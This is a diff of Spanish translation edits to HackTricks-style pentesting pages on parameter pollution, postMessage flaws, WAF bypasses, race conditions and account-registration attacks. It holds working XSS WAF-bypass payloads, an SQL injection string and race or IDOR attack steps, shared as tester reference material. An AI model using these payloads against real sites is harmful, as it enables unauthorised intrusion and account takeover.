La Contaminación de Parámetros HTTP (HPP) es una técnica donde los atacantes manipulan parámetros HTTP para cambiar el comportamiento de una aplicación web de maneras no intencionadas. Esta manipulación se realiza añadiendo, modificando o duplicando parámetros HTTP. El efecto de estas manipulaciones no es directamente visible para el usuario, pero puede alterar significativamente la funcionalidad de la aplicación en el lado del servidor, con impactos observables en el lado del cliente.
|
||||
@ -49,7 +50,7 @@ Este ejemplo subraya aún más la necesidad de un manejo seguro de parámetros,
|
||||
La forma en que las tecnologías web manejan parámetros HTTP duplicados varía, afectando su susceptibilidad a ataques HPP:
|
||||
|
||||
- **Flask:** Adopta el primer valor de parámetro encontrado, como `a=1` en una cadena de consulta `a=1&a=2`, priorizando la instancia inicial sobre los duplicados posteriores.
|
||||
- **PHP (en Apache HTTP Server):** Por el contrario, prioriza el último valor de parámetro, optando por `a=2` en el ejemplo dado. Este comportamiento puede facilitar inadvertidamente los exploits de HPP al honrar el parámetro manipulado por el atacante sobre el original.
|
||||
- **PHP (en Apache HTTP Server):** Por el contrario, prioriza el último valor de parámetro, optando por `a=2` en el ejemplo dado. Este comportamiento puede facilitar inadvertidamente los exploits de HPP al honrar el parámetro manipulado del atacante sobre el original.
|
||||
|
||||
## Contaminación de parámetros por tecnología
|
||||
|
||||
@ -60,7 +61,7 @@ Los resultados fueron tomados de [https://medium.com/@0xAwali/http-parameter-pol
|
||||
<figure><img src="../images/image (1255).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*l_Pf2JNCYhmfAvfk7UTEbQ.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*l_Pf2JNCYhmfAvfk7UTEbQ.jpeg</a></p></figcaption></figure>
|
||||
|
||||
1. Ignorar cualquier cosa después de %00 en el nombre del parámetro.
|
||||
2. Manejar name\[] como un array.
|
||||
2. Manejar name\[] como array.
|
||||
3. \_GET no significa método GET.
|
||||
4. Preferir el último parámetro.
|
||||
|
||||
@ -69,8 +70,8 @@ Los resultados fueron tomados de [https://medium.com/@0xAwali/http-parameter-pol
|
||||
<figure><img src="../images/image (1257).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*kKxtZ8qEmgTIMS81py5hhg.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*kKxtZ8qEmgTIMS81py5hhg.jpeg</a></p></figcaption></figure>
|
||||
|
||||
1. Utiliza los delimitadores & y ; para dividir parámetros.
|
||||
2. No se reconoce name\[].
|
||||
3. Preferir el primer parámetro.
|
||||
2. No reconoce name\[].
|
||||
3. Prefiere el primer parámetro.
|
||||
|
||||
### Spring MVC 6.0.23 Y Apache Tomcat 10.1.30 <a href="#dd68" id="dd68"></a>
|
||||
|
||||
@ -86,35 +87,35 @@ Los resultados fueron tomados de [https://medium.com/@0xAwali/http-parameter-pol
|
||||
|
||||
<figure><img src="../images/image (1259).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*JzNkLOSW7orcHXswtMHGMA.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*JzNkLOSW7orcHXswtMHGMA.jpeg</a></p></figcaption></figure>
|
||||
|
||||
1. Reconocido name\[].
|
||||
1. Reconoce name\[].
|
||||
2. Concatenar parámetros e.g. first,last.
|
||||
|
||||
### GO 1.22.7 <a href="#id-63dc" id="id-63dc"></a>
|
||||
|
||||
<figure><img src="../images/image (1260).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NVvN1N8sL4g_Gi796FzlZA.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NVvN1N8sL4g_Gi796FzlZA.jpeg</a></p></figcaption></figure>
|
||||
|
||||
1. NO se reconoce name\[].
|
||||
1. NO reconoce name\[].
|
||||
2. Preferir el primer parámetro.
|
||||
|
||||
### Python 3.12.6 Y Werkzeug 3.0.4 Y Flask 3.0.3 <a href="#b853" id="b853"></a>
|
||||
|
||||
<figure><img src="../images/image (1261).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*Se5467PFFjIlmT3O7KNlWQ.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*Se5467PFFjIlmT3O7KNlWQ.jpeg</a></p></figcaption></figure>
|
||||
|
||||
1. NO se reconoce name\[].
|
||||
1. NO reconoce name\[].
|
||||
2. Preferir el primer parámetro.
|
||||
|
||||
### Python 3.12.6 Y Django 4.2.15 <a href="#id-8079" id="id-8079"></a>
|
||||
|
||||
<figure><img src="../images/image (1262).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rf38VXut5YhAx0ZhUzgT8Q.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rf38VXut5YhAx0ZhUzgT8Q.jpeg</a></p></figcaption></figure>
|
||||
|
||||
1. NO se reconoce name\[].
|
||||
1. NO reconoce name\[].
|
||||
2. Preferir el último parámetro.
|
||||
|
||||
### Python 3.12.6 Y Tornado 6.4.1 <a href="#id-2ad8" id="id-2ad8"></a>
|
||||
|
||||
<figure><img src="../images/image (1263).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*obCn7xahDc296JZccXM2qQ.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*obCn7xahDc296JZccXM2qQ.jpeg</a></p></figcaption></figure>
|
||||
|
||||
1. NO se reconoce name\[].
|
||||
1. NO reconoce name\[].
|
||||
2. Preferir el último parámetro.
|
||||
|
||||
## Inyección JSON
|
||||
|
||||
@ -5,7 +5,7 @@
|
||||
El objetivo de estos PoCs y Polygloths es dar al tester un **resumen** rápido de las vulnerabilidades que puede explotar si su **entrada se refleja de alguna manera en la respuesta**.
|
||||
|
||||
> [!WARNING]
|
||||
> Esta **cheat sheet no propone una lista completa de pruebas para cada vulnerabilidad**, solo algunas básicas. Si buscas pruebas más completas, accede a cada vulnerabilidad propuesta.
|
||||
> Esta **cheat sheet no propone una lista exhaustiva de pruebas para cada vulnerabilidad**, solo algunas básicas. Si buscas pruebas más completas, accede a cada vulnerabilidad propuesta.
|
||||
|
||||
> [!CAUTION]
|
||||
> No **encontrarás inyecciones dependientes de Content-Type como XXE**, ya que normalmente intentarás esas tú mismo si encuentras una solicitud que envía datos xml. Tampoco **encontrarás inyecciones de base de datos** aquí, ya que aunque algún contenido podría ser reflejado, depende en gran medida de la tecnología y estructura de la base de datos del backend.
|
||||
|
||||
@ -36,7 +36,7 @@ Tenga en cuenta que **targetOrigin** puede ser un '\*' o una URL como _https://c
|
||||
En el **segundo escenario**, el **mensaje solo se puede enviar a ese dominio** (incluso si el origen del objeto window es diferente).\
|
||||
Si se utiliza el **comodín**, los **mensajes podrían enviarse a cualquier dominio**, y se enviarán al origen del objeto Window.
|
||||
|
||||
### Atacando iframe y comodín en **targetOrigin**
|
||||
### Ataque a iframe y comodín en **targetOrigin**
|
||||
|
||||
Como se explica en [**este informe**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), si encuentra una página que puede ser **iframed** (sin protección `X-Frame-Header`) y que está **enviando mensajes sensibles** a través de **postMessage** utilizando un **comodín** (\*), puede **modificar** el **origen** del **iframe** y **filtrar** el **mensaje sensible** a un dominio controlado por usted.\
|
||||
Tenga en cuenta que si la página puede ser iframed pero el **targetOrigin** está **configurado a una URL y no a un comodín**, este **truco no funcionará**.
|
||||
@ -95,7 +95,7 @@ Para **encontrar oyentes de eventos** en la página actual puedes:
|
||||
"https://app-sj17.marketo.com".indexOf("https://app-sj17.ma")
|
||||
```
|
||||
|
||||
- El método **`search()`** de `String.prototype.search()` está destinado a expresiones regulares, no a cadenas. Pasar cualquier cosa que no sea una regexp conduce a una conversión implícita a regex, lo que hace que el método sea potencialmente inseguro. Esto se debe a que en regex, un punto (.) actúa como un comodín, permitiendo eludir la validación con dominios especialmente diseñados. Por ejemplo:
|
||||
- El método **`search()`** de `String.prototype.search()` está destinado a expresiones regulares, no a cadenas. Pasar cualquier cosa que no sea una regexp lleva a una conversión implícita a regex, haciendo que el método sea potencialmente inseguro. Esto se debe a que en regex, un punto (.) actúa como un comodín, permitiendo eludir la validación con dominios especialmente diseñados. Por ejemplo:
|
||||
|
||||
```javascript
|
||||
"https://www.safedomain.com".search("www.s.fedomain.com")
|
||||
@ -113,7 +113,7 @@ message: "'\"<b>\\",
|
||||
result.message // "'"<b>\"
|
||||
```
|
||||
|
||||
- Eludir la escapada:
|
||||
- Eludir el escape:
|
||||
|
||||
```javascript
|
||||
result = u(new Error("'\"<b>\\"))
|
||||
@ -124,13 +124,13 @@ En el contexto de esta vulnerabilidad, el objeto `File` es notablemente explotab
|
||||
|
||||
- La propiedad `document.domain` en JavaScript puede ser establecida por un script para acortar el dominio, permitiendo una aplicación más relajada de la política de mismo origen dentro del mismo dominio padre.
|
||||
|
||||
### Bypass de e.origin == window.origin
|
||||
### e.origin == window.origin bypass
|
||||
|
||||
Al incrustar una página web dentro de un **iframe sandboxed** usando %%%%%%, es crucial entender que el origen del iframe se establecerá en nulo. Esto es particularmente importante al tratar con **atributos sandbox** y sus implicaciones en la seguridad y funcionalidad.
|
||||
Al incrustar una página web dentro de un **iframe sandboxed** usando %%%%%%, es crucial entender que el origen del iframe se establecerá en null. Esto es particularmente importante al tratar con **atributos sandbox** y sus implicaciones en la seguridad y funcionalidad.
|
||||
|
||||
Al especificar **`allow-popups`** en el atributo sandbox, cualquier ventana emergente abierta desde dentro del iframe hereda las restricciones sandbox de su padre. Esto significa que a menos que el atributo **`allow-popups-to-escape-sandbox`** también esté incluido, el origen de la ventana emergente se establece de manera similar en `null`, alineándose con el origen del iframe.
|
||||
Al especificar **`allow-popups`** en el atributo sandbox, cualquier ventana emergente abierta desde dentro del iframe hereda las restricciones de sandbox de su padre. Esto significa que a menos que el atributo **`allow-popups-to-escape-sandbox`** también esté incluido, el origen de la ventana emergente se establece de manera similar en `null`, alineándose con el origen del iframe.
|
||||
|
||||
En consecuencia, cuando se abre una ventana emergente bajo estas condiciones y se envía un mensaje desde el iframe a la ventana emergente usando **`postMessage`**, ambos extremos de envío y recepción tienen sus orígenes establecidos en `null`. Esta situación conduce a un escenario donde **`e.origin == window.origin`** evalúa como verdadero (`null == null`), porque tanto el iframe como la ventana emergente comparten el mismo valor de origen de `null`.
|
||||
En consecuencia, cuando se abre una ventana emergente bajo estas condiciones y se envía un mensaje desde el iframe a la ventana emergente usando **`postMessage`**, ambos extremos, el de envío y el de recepción, tienen sus orígenes establecidos en `null`. Esta situación lleva a un escenario donde **`e.origin == window.origin`** evalúa como verdadero (`null == null`), porque tanto el iframe como la ventana emergente comparten el mismo valor de origen de `null`.
|
||||
|
||||
Para más información **lee**:
|
||||
|
||||
@ -147,7 +147,7 @@ if (received_message.source !== window) {
|
||||
return
|
||||
}
|
||||
```
|
||||
Puedes forzar **`e.source`** de un mensaje a ser nulo creando un **iframe** que **envía** el **postMessage** y es **inmediatamente eliminado**.
|
||||
Puedes forzar **`e.source`** de un mensaje a ser nulo creando un **iframe** que **envía** el **postMessage** y es **eliminado inmediatamente**.
|
||||
|
||||
Para más información **lee:**
|
||||
|
||||
|
||||
@ -12,7 +12,7 @@ Sin embargo, esa comunicación de postmessage es **vulnerable a XSS** (el **ifra
|
||||
Por lo tanto, el objetivo del atacante es **dejar que la página padre cree el iframe**, pero **antes** de que la **página padre** **envíe** los datos sensibles (**bandera**) **mantenerla ocupada** y enviar el **payload al iframe**. Mientras la **página padre está ocupada**, el **iframe ejecuta el payload** que será algún JS que escuchará el **mensaje postmessage de la página padre y filtrará la bandera**.\
|
||||
Finalmente, el iframe ha ejecutado el payload y la página padre deja de estar ocupada, por lo que envía la bandera y el payload la filtra.
|
||||
|
||||
Pero, ¿cómo podrías hacer que la página padre esté **ocupada justo después de generar el iframe y solo mientras espera que el iframe esté listo para enviar los datos sensibles?** Básicamente, necesitas encontrar una **acción** **asíncrona** que puedas hacer que la página padre **ejecute**. Por ejemplo, en ese desafío, la página padre estaba **escuchando** **postmessages** así:
|
||||
Pero, ¿cómo podrías hacer que la página padre esté **ocupada justo después de que generó el iframe y solo mientras espera que el iframe esté listo para enviar los datos sensibles?** Básicamente, necesitas encontrar una **acción** **asíncrona** que puedas hacer que la página padre **ejecute**. Por ejemplo, en ese desafío, la página padre estaba **escuchando** **postmessages** así:
|
||||
```javascript
|
||||
window.addEventListener("message", (e) => {
|
||||
if (e.data == "blob loaded") {
|
||||
@ -20,11 +20,11 @@ $("#previewModal").modal()
|
||||
}
|
||||
})
|
||||
```
|
||||
así que era posible enviar un **número entero grande en un postmessage** que será **convertido a cadena** en esa comparación, lo que tomará algo de tiempo:
|
||||
así que era posible enviar un **número entero grande en un postmessage** que será **convertido a cadena** en esa comparación, lo que tomará algún tiempo:
|
||||
```bash
|
||||
const buffer = new Uint8Array(1e7);
|
||||
win?.postMessage(buffer, '*', [buffer.buffer]);
|
||||
```
|
||||
Y para ser preciso y **enviar** ese **postmessage** justo **después** de que se crea el **iframe** pero **antes** de que esté **listo** para recibir los datos del padre, necesitarás **jugar con los milisegundos de un `setTimeout`**.
|
||||
Y para ser preciso y **enviar** ese **postmessage** justo **después** de que se cree el **iframe** pero **antes** de que esté **listo** para recibir los datos del padre, necesitarás **jugar con los milisegundos de un `setTimeout`**.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -27,12 +27,12 @@ Si la página fuera **incrustable**, podrías eludir esa protección de esa mane
|
||||
|
||||
### Bypass SOP 2 (window.origin === null)
|
||||
|
||||
El hecho menos conocido es que cuando se establece el **valor de sandbox `allow-popups`**, entonces el **popup abierto** **heredará** todos los **atributos de sandbox** a menos que se establezca `allow-popups-to-escape-sandbox`.\
|
||||
El hecho menos conocido es que cuando se establece el **valor de sandbox `allow-popups`**, entonces el **popup abierto** **heredará** todos los **atributos sandboxed** a menos que se establezca `allow-popups-to-escape-sandbox`.\
|
||||
Por lo tanto, abrir un **popup** desde un **origen nulo** hará que **`window.origin`** dentro del popup también sea **`null`**.
|
||||
|
||||
### Solución del Desafío
|
||||
|
||||
Por lo tanto, para este desafío, uno podría **crear** un **iframe**, **abrir un popup** a la página con el manejador de código XSS vulnerable (`/iframe.php`), ya que `window.origin === e.origin` porque ambos son `null`, es posible **enviar una carga útil que explotará el XSS**.
|
||||
Por lo tanto, para este desafío, se podría **crear** un **iframe**, **abrir un popup** a la página con el manejador de código XSS vulnerable (`/iframe.php`), ya que `window.origin === e.origin` porque ambos son `null`, es posible **enviar una carga útil que explotará el XSS**.
|
||||
|
||||
Esa **carga útil** obtendrá el **identificador** y enviará un **XSS** **de vuelta a la página principal** (la página que abrió el popup), **la cual** **cambiará de ubicación** a la **vulnerable** `/iframe.php`. Dado que el identificador es conocido, no importa que la condición `window.origin === e.origin` no se cumpla (recuerda, el origen es el **popup** del iframe que tiene **origen** **`null`**) porque `data.identifier === identifier`. Entonces, el **XSS se activará nuevamente**, esta vez en el origen correcto.
|
||||
```html
|
||||
|
||||
@ -23,11 +23,11 @@ Para prevenir bypasses, Nginx realiza la normalización de rutas antes de verifi
|
||||
|
||||
| Versión de Nginx | **Caracteres de Bypass de Node.js** |
|
||||
| ---------------- | ----------------------------------- |
|
||||
| 1.22.0 | `\xA0` |
|
||||
| 1.21.6 | `\xA0` |
|
||||
| 1.20.2 | `\xA0`, `\x09`, `\x0C` |
|
||||
| 1.18.0 | `\xA0`, `\x09`, `\x0C` |
|
||||
| 1.16.1 | `\xA0`, `\x09`, `\x0C` |
|
||||
| 1.22.0 | `\xA0` |
|
||||
| 1.21.6 | `\xA0` |
|
||||
| 1.20.2 | `\xA0`, `\x09`, `\x0C` |
|
||||
| 1.18.0 | `\xA0`, `\x09`, `\x0C` |
|
||||
| 1.16.1 | `\xA0`, `\x09`, `\x0C` |
|
||||
|
||||
### **Flask**
|
||||
|
||||
@ -108,7 +108,7 @@ Comúnmente, los WAF tienen un cierto límite de longitud de solicitudes para ve
|
||||
|
||||
<table data-header-hidden><thead><tr><th width="687"></th><th></th></tr></thead><tbody><tr><td>Tamaño máximo de un cuerpo de solicitud web que puede ser inspeccionado para las protecciones de Application Load Balancer y AWS AppSync</td><td>8 KB</td></tr><tr><td>Tamaño máximo de un cuerpo de solicitud web que puede ser inspeccionado para las protecciones de CloudFront, API Gateway, Amazon Cognito, App Runner y Verified Access**</td><td>64 KB</td></tr></tbody></table>
|
||||
|
||||
- De [**documentación de Azure**](https://learn.microsoft.com/en-us/azure/web-application-firewall/ag/application-gateway-waf-request-size-limits)**:**
|
||||
- De [**documentos de Azure**](https://learn.microsoft.com/en-us/azure/web-application-firewall/ag/application-gateway-waf-request-size-limits)**:**
|
||||
|
||||
Los Firewalls de Aplicaciones Web más antiguos con Core Rule Set 3.1 (o inferior) permiten mensajes más grandes que **128 KB** al desactivar la inspección del cuerpo de la solicitud, pero estos mensajes no serán revisados en busca de vulnerabilidades. Para versiones más nuevas (Core Rule Set 3.2 o más recientes), se puede hacer lo mismo desactivando el límite máximo del cuerpo de la solicitud. Cuando una solicitud excede el límite de tamaño:
|
||||
|
||||
@ -158,9 +158,9 @@ En la publicación se sugieren los siguientes bypass finales:
|
||||
- AWS/Cloudfront:`docs.aws.amazon.com/?x=<x/%26%23x3e;/tabindex=1 autofocus/onfocus=alert(999)>`
|
||||
- Cloudflare:`cloudflare.com/?x=<x tabindex=1 autofocus/onfocus="style.transition='0.1s';style.opacity=0;self.ontransitionend=alert;Object.prototype.toString=x=>999">`
|
||||
|
||||
También se menciona que dependiendo de **cómo algunos WAFs entienden el contexto** de la entrada del usuario, podría ser posible abusar de ello. El ejemplo propuesto en el blog es que Akamai permite poner cualquier cosa entre `/*` y `*/` (potencialmente porque esto se usa comúnmente como comentarios). Por lo tanto, una inyección SQL como `/*'or sleep(5)-- -*/` no será detectada y será válida ya que `/*` es la cadena de inicio de la inyección y `*/` está comentada.
|
||||
También se menciona que dependiendo de **cómo algunos WAFs entienden el contexto** de la entrada del usuario, podría ser posible abusar de ello. El ejemplo propuesto en el blog es que Akamai permitía poner cualquier cosa entre `/*` y `*/` (potencialmente porque esto se usa comúnmente como comentarios). Por lo tanto, una inyección SQL como `/*'or sleep(5)-- -*/` no será detectada y será válida ya que `/*` es la cadena de inicio de la inyección y `*/` está comentada.
|
||||
|
||||
Estos tipos de problemas de contexto también se pueden usar para **abusar de otras vulnerabilidades que no se espera** que sean explotadas por el WAF (por ejemplo, esto también podría usarse para explotar un XSS).
|
||||
Estos tipos de problemas de contexto también se pueden usar para **abusar de otras vulnerabilidades que no son las que se espera** que sean explotadas por el WAF (por ejemplo, esto también podría usarse para explotar un XSS).
|
||||
|
||||
### H2C Smuggling <a href="#ip-rotation" id="ip-rotation"></a>
|
||||
|
||||
@ -173,7 +173,7 @@ h2c-smuggling.md
|
||||
- [https://github.com/ustayready/fireprox](https://github.com/ustayready/fireprox): Generar una URL de API gateway para usar con ffuf
|
||||
- [https://github.com/rootcathacking/catspin](https://github.com/rootcathacking/catspin): Similar a fireprox
|
||||
- [https://github.com/PortSwigger/ip-rotate](https://github.com/PortSwigger/ip-rotate): Plugin de Burp Suite que utiliza IPs de API gateway
|
||||
- [https://github.com/fyoorer/ShadowClone](https://github.com/fyoorer/ShadowClone): Un número determinado dinámicamente de instancias de contenedor se activan según el tamaño del archivo de entrada y el factor de división, con la entrada dividida en fragmentos para ejecución paralela, como 100 instancias procesando 100 fragmentos de un archivo de entrada de 10,000 líneas con un factor de división de 100 líneas.
|
||||
- [https://github.com/fyoorer/ShadowClone](https://github.com/fyoorer/ShadowClone): Un número determinado dinámicamente de instancias de contenedor se activan en función del tamaño del archivo de entrada y el factor de división, con la entrada dividida en fragmentos para ejecución paralela, como 100 instancias procesando 100 fragmentos de un archivo de entrada de 10,000 líneas con un factor de división de 100 líneas.
|
||||
- [https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization)
|
||||
|
||||
### Regex Bypasses
|
||||
|
||||
@ -91,7 +91,7 @@ engine.openGate(currentAttempt)
|
||||
|
||||
<figure><img src="../images/image (58).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- **Automated python script**: El objetivo de este script es cambiar el correo electrónico de un usuario mientras verifica continuamente hasta que el token de verificación del nuevo correo llegue al último correo (esto se debe a que en el código se estaba viendo un RC donde era posible modificar un correo pero tener la verificación enviada al antiguo porque la variable que indicaba el correo ya estaba poblada con el primero).\
|
||||
- **Automated python script**: El objetivo de este script es cambiar el correo electrónico de un usuario mientras verifica continuamente hasta que el token de verificación del nuevo correo llegue al último correo (esto se debe a que en el código se estaba viendo un RC donde era posible modificar un correo electrónico pero tener la verificación enviada al antiguo porque la variable que indicaba el correo ya estaba poblada con el primero).\
|
||||
Cuando se encuentra la palabra "objetivo" en los correos electrónicos recibidos, sabemos que hemos recibido el token de verificación del correo cambiado y terminamos el ataque.
|
||||
```python
|
||||
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
|
||||
@ -231,8 +231,8 @@ Puede encontrar algunos ejemplos utilizando esta técnica en el repositorio [htt
|
||||
Antes de la investigación anterior, estos eran algunos payloads utilizados que solo intentaban enviar los paquetes lo más rápido posible para causar un RC.
|
||||
|
||||
- **Repetidor:** Consulte los ejemplos de la sección anterior.
|
||||
- **Intruso**: Envíe la **solicitud** a **Intruso**, establezca el **número de hilos** en **30** dentro del **menú de Opciones** y seleccione como payload **Payloads nulos** y genere **30.**
|
||||
- **Turbo Intruder**
|
||||
- **Intruso**: Envíe la **solicitud** a **Intruso**, establezca el **número de hilos** en **30** dentro del **menú de Opciones** y seleccione como payload **Payloads Nulos** y genere **30.**
|
||||
- **Turbo Intruso**
|
||||
```python
|
||||
def queueRequests(target, wordlists):
|
||||
engine = RequestEngine(endpoint=target.endpoint,
|
||||
@ -298,10 +298,10 @@ Hay muchas variaciones de este tipo de ataque, incluyendo:
|
||||
Explotar condiciones de carrera complejas a menudo implica aprovechar breves oportunidades para interactuar con subestados de máquina ocultos o **no intencionados**. Aquí te mostramos cómo abordar esto:
|
||||
|
||||
1. **Identificar Subestados Ocultos Potenciales**
|
||||
- Comienza por identificar puntos finales que modifican o interactúan con datos críticos, como perfiles de usuario o procesos de restablecimiento de contraseña. Enfócate en:
|
||||
- **Almacenamiento**: Prefiere puntos finales que manipulan datos persistentes del lado del servidor sobre aquellos que manejan datos del lado del cliente.
|
||||
- Comienza por identificar puntos finales que modifiquen o interactúen con datos críticos, como perfiles de usuario o procesos de restablecimiento de contraseña. Enfócate en:
|
||||
- **Almacenamiento**: Prefiere puntos finales que manipulen datos persistentes del lado del servidor sobre aquellos que manejan datos del lado del cliente.
|
||||
- **Acción**: Busca operaciones que alteren datos existentes, que son más propensas a crear condiciones explotables en comparación con aquellas que añaden nuevos datos.
|
||||
- **Claves**: Los ataques exitosos generalmente involucran operaciones basadas en el mismo identificador, por ejemplo, nombre de usuario o token de restablecimiento.
|
||||
- **Claves**: Los ataques exitosos generalmente implican operaciones basadas en el mismo identificador, por ejemplo, nombre de usuario o token de restablecimiento.
|
||||
2. **Realizar Sondeos Iniciales**
|
||||
- Prueba los puntos finales identificados con ataques de condición de carrera, observando cualquier desviación de los resultados esperados. Respuestas inesperadas o cambios en el comportamiento de la aplicación pueden señalar una vulnerabilidad.
|
||||
3. **Demostrar la Vulnerabilidad**
|
||||
@ -323,15 +323,15 @@ La precisión en el tiempo de las solicitudes puede revelar vulnerabilidades, es
|
||||
|
||||
## Estudios de caso de subestados ocultos
|
||||
|
||||
### Pagar y añadir un artículo
|
||||
### Pagar y añadir un ítem
|
||||
|
||||
Revisa este [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) para ver cómo **pagar** en una tienda y **añadir un extra** artículo que **no necesitarás pagar por él**.
|
||||
Revisa este [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) para ver cómo **pagar** en una tienda y **añadir un extra** que **no necesitarás pagar**.
|
||||
|
||||
### Confirmar otros correos electrónicos
|
||||
### Confirmar otros correos
|
||||
|
||||
La idea es **verificar una dirección de correo electrónico y cambiarla a una diferente al mismo tiempo** para averiguar si la plataforma verifica la nueva que se cambió.
|
||||
|
||||
### Cambiar correo electrónico a 2 direcciones de correo basadas en cookies
|
||||
### Cambiar correo a 2 direcciones de correo basadas en cookies
|
||||
|
||||
Según [**esta investigación**](https://portswigger.net/research/smashing-the-state-machine), Gitlab era vulnerable a una toma de control de esta manera porque podría **enviar** el **token de verificación de correo de un correo al otro correo**.
|
||||
|
||||
@ -341,7 +341,7 @@ Según [**esta investigación**](https://portswigger.net/research/smashing-the-s
|
||||
|
||||
Si se utilizan **2 escrituras diferentes** para **agregar** **información** dentro de una **base de datos**, hay una pequeña porción de tiempo donde **solo los primeros datos han sido escritos** dentro de la base de datos. Por ejemplo, al crear un usuario, el **nombre de usuario** y **contraseña** pueden ser **escritos** y **luego el token** para confirmar la cuenta recién creada es escrito. Esto significa que durante un pequeño tiempo el **token para confirmar una cuenta es nulo**.
|
||||
|
||||
Por lo tanto, **registrar una cuenta y enviar varias solicitudes con un token vacío** (`token=` o `token[]=` o cualquier otra variación) para confirmar la cuenta de inmediato podría permitir **confirmar una cuenta** donde no controlas el correo electrónico.
|
||||
Por lo tanto, **registrar una cuenta y enviar varias solicitudes con un token vacío** (`token=` o `token[]=` o cualquier otra variación) para confirmar la cuenta de inmediato podría permitir **confirmar una cuenta** donde no controlas el correo.
|
||||
|
||||
**Revisa esto** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **para probar esto.**
|
||||
|
||||
@ -362,7 +362,7 @@ Así que, hasta aquí, solo un inicio de sesión común con google/linkedin/gith
|
||||
|
||||
#### Condición de carrera en `authorization_code`
|
||||
|
||||
El **problema** aparece cuando **lo aceptas** y automáticamente envía un **`authorization_code`** a la aplicación maliciosa. Luego, esta **aplicación abusa de una Condición de Carrera en el proveedor de servicios OAUth para generar más de un AT/RT** (_Token de Autenticación/Token de Refresco_) a partir del **`authorization_code`** de tu cuenta. Básicamente, abusará del hecho de que has aceptado la aplicación para acceder a tus datos para **crear varias cuentas**. Luego, si **dejas de permitir que la aplicación acceda a tus datos, un par de AT/RT será eliminado, pero los otros seguirán siendo válidos**.
|
||||
El **problema** aparece cuando **lo aceptas** y automáticamente envía un **`authorization_code`** a la aplicación maliciosa. Luego, esta **aplicación abusa de una Condición de Carrera en el proveedor de servicio OAUth para generar más de un AT/RT** (_Token de Autenticación/Token de Refresco_) para tu cuenta. Básicamente, abusará del hecho de que has aceptado la aplicación para acceder a tus datos para **crear varias cuentas**. Luego, si **dejas de permitir que la aplicación acceda a tus datos, un par de AT/RT será eliminado, pero los otros seguirán siendo válidos**.
|
||||
|
||||
#### Condición de carrera en `Refresh Token`
|
||||
|
||||
|
||||
@ -23,7 +23,7 @@ Verifica si puedes averiguar cuándo un nombre de usuario ya ha sido registrado
|
||||
### Política de Contraseñas
|
||||
|
||||
Al crear un usuario, verifica la política de contraseñas (verifica si puedes usar contraseñas débiles).\
|
||||
En ese caso, puedes intentar hacer un bruteforce de las credenciales.
|
||||
En ese caso, puedes intentar hacer un ataque de fuerza bruta a las credenciales.
|
||||
|
||||
### Inyección SQL
|
||||
|
||||
@ -48,7 +48,7 @@ Cuando estés registrado, intenta cambiar el correo electrónico y verifica si e
|
||||
### Más Comprobaciones
|
||||
|
||||
- Verifica si puedes usar **correos desechables**
|
||||
- **Contraseña** **Larga** (>200) conduce a **DoS**
|
||||
- **Contraseña** **larga** (>200) conduce a **DoS**
|
||||
- **Verifica los límites de tasa en la creación de cuentas**
|
||||
- Usa username@**burp_collab**.net y analiza el **callback**
|
||||
|
||||
@ -90,9 +90,9 @@ email=victim@mail.com|hacker@mail.com
|
||||
```
|
||||
### IDOR en Parámetros de API <a href="#idor-on-api-parameters" id="idor-on-api-parameters"></a>
|
||||
|
||||
1. El atacante debe iniciar sesión con su cuenta y ir a la función **Cambiar contraseña**.
|
||||
1. El atacante debe iniciar sesión con su cuenta e ir a la función **Cambiar contraseña**.
|
||||
2. Inicie Burp Suite e intercepte la solicitud.
|
||||
3. Envíela a la pestaña de repetidor y edite los parámetros: User ID/email\
|
||||
3. Envíelo a la pestaña de repetidor y edite los parámetros: ID de usuario/correo electrónico\
|
||||
`powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})`
|
||||
|
||||
### Token de Restablecimiento de Contraseña Débil <a href="#weak-password-reset-token" id="weak-password-reset-token"></a>
|
||||
@ -100,8 +100,8 @@ email=victim@mail.com|hacker@mail.com
|
||||
El token de restablecimiento de contraseña debe generarse aleatoriamente y ser único cada vez.\
|
||||
Intente determinar si el token expira o si siempre es el mismo; en algunos casos, el algoritmo de generación es débil y puede ser adivinado. Las siguientes variables podrían ser utilizadas por el algoritmo.
|
||||
|
||||
- Timestamp
|
||||
- UserID
|
||||
- Marca de tiempo
|
||||
- ID de usuario
|
||||
- Correo electrónico del usuario
|
||||
- Nombre y apellido
|
||||
- Fecha de nacimiento
|
||||
@ -119,12 +119,12 @@ Intente determinar si el token expira o si siempre es el mismo; en algunos casos
|
||||
|
||||
### Restablecimiento de Contraseña a Través de Colisión de Nombres de Usuario <a href="#password-reset-via-username-collision" id="password-reset-via-username-collision"></a>
|
||||
|
||||
